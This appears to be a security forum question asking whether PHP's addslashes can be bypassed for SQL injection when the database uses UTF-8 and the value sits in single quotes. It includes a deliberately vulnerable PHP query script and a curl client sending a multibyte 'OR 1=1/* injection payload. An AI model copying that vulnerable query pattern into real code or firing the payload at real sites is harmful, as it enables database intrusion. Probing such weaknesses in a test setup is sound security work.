title: Can addslashes be bypassed when using utf and single quotes?
body: <p>I am trying to verify if using addslashes on a script is exploitable or not, it's known for everyone that addslashes shouldn't be used but, but the question is, is it always exploitable?</p>
  
  <p>I found plenty of information on abusing addslashes in two cases <strong>when the charset is NOT utf8</strong> (using double byte conversions) and also <strong>when the variable is enclosed by ""</strong></p>
  
  <p>So, can addslashes be bypassed when none of those cases above happens? This is the code I've been testing with:</p>
  
  <p>data.sql file with the db dump:</p>
  
  <pre><code>CREATE TABLE IF NOT EXISTS `test` (
    `user` varchar(25) NOT NULL
  ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  
  INSERT INTO `test` (`user`) VALUES
  ('admin'),
  ('user');
  
  mysql -u test -ptestpw test &lt; data.sql
  </code></pre>
  
  <p>index.php to place in the server</p>
  
  <pre><code>&lt;?php
    //Server script the receives content via post
    mysql_connect("localhost","test","testpw");
    mysql_select_db("test");
    $user=addslashes($_POST['username']);
    $query="SELECT * FROM test WHERE user='".$user."'";
    $q=mysql_query($query) or die (mysql_error());
    $num_rows = mysql_num_rows($q);
    echo "Listed rows: $num_rows";
    if ($num_rows &gt; 0) {
          $a=mysql_fetch_array($q);
          print_r($a);
    }
  ?&gt;
  </code></pre>
  
  <p>query.php to be placed on the client machine</p>
  
  <pre><code>&lt;?php
  //Client script crafting the special url
  $url     = "http://example.com/index.php";
  $ch      = curl_init();
  curl_setopt( $ch, CURLOPT_URL,            $url     );
  curl_setopt( $ch, CURLOPT_POST,           TRUE     );
  curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" .
                                            chr(0xbf) . chr(0x27) .
                                            "OR 1=1/*&amp;submit=1" );
  $data = curl_exec( $ch );
  print( $data );
  curl_close( $ch );
  ?&gt;
  </code></pre>
  
  <p>Some references:</p>
  
  <ul>
  <li><a href="http://securityreliks.securegossip.com/2011/02/sql-injection-bypassing-addslashes/" rel="nofollow noreferrer">here</a> (bypass using multibye string, non-utf db)</li>
  <li><a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string" rel="nofollow noreferrer">here</a> (bypass using multibyte string, non-utf db)</li>
  <li><a href="https://stackoverflow.com/questions/860954/examples-of-sql-injections-through-addslashes">here</a> (bypass using var enclosed by "")</li>
  </ul>